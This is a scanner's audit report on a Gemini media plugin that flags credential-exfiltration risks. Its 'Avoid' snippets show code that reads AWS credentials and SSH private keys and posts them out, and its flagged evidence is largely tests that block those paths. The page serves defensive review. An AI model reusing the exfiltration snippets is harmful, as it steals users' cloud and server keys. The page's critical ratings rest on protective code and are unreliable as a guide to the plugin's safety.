Gemini Media Mcp— plugin

Gemini Media Mcp — independently scanned and version-tracked by SaferSkills.

Is Gemini Media Mcp safe to install?

SaferSkills independently audited Gemini Media Mcp (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 6 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
●●○○○○○○○○
↑ +0 since first scan (15 → 15)Re-scan~30s
Latest scan
ScannedJun 25, 2026 · 32d ago
Scans run1 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 6 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 6 flagged

Securityscore 0 · 6 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · servers/veo/src/veo_mcp_server/core/validation.py
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (``last_frame_path`` (e.g. exfiltrating ``~/.aws/…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptservers/veo/src/veo_mcp_server/core/validation.py· python
5``~/.ssh/authorized_keys``, ``C:\\Windows\\System32\\...``).
6- Arbitrary filesystem READ via ``image_path`` / ``first_frame_path`` /
7``last_frame_path`` (e.g. exfiltrating ``~/.aws/credentials``).
8- SSRF-like abuse via ``video_uri`` pointing at cloud metadata endpoints,
9``file://`` local files, or plain-HTTP hosts.
Occurrences
1 occurrence · at L7
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfdrubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · servers/veo/tests/test_validation.py
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (validate_output_path("~/.aws/credentials.mp4")). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptservers/veo/tests/test_validation.py· python
53def test_output_path_blocks_aws_credentials():
54with pytest.raises(ValidationError, match="protected user directory"):
55validate_output_path("~/.aws/credentials.mp4")
56 
57 
Occurrences
1 occurrence · at L55
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfdrubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · servers/veo/tests/test_validation.py×4
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (validate_output_path("~/.ssh/id_rsa.mp4")). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptservers/veo/tests/test_validation.py· python
48def test_output_path_blocks_ssh_keys():
49with pytest.raises(ValidationError, match="protected user directory"):
50validate_output_path("~/.ssh/id_rsa.mp4")
51 
52 
Occurrences
4 occurrences · first at L50, also L108, L242 +1 more
Show all 4 locations
Line
File
L50
servers/veo/tests/test_validation.py
L108
servers/veo/tests/test_validation.py
L242
servers/veo/tests/test_validation.py
L243
servers/veo/tests/test_validation.py
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256c84a706284235e56rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.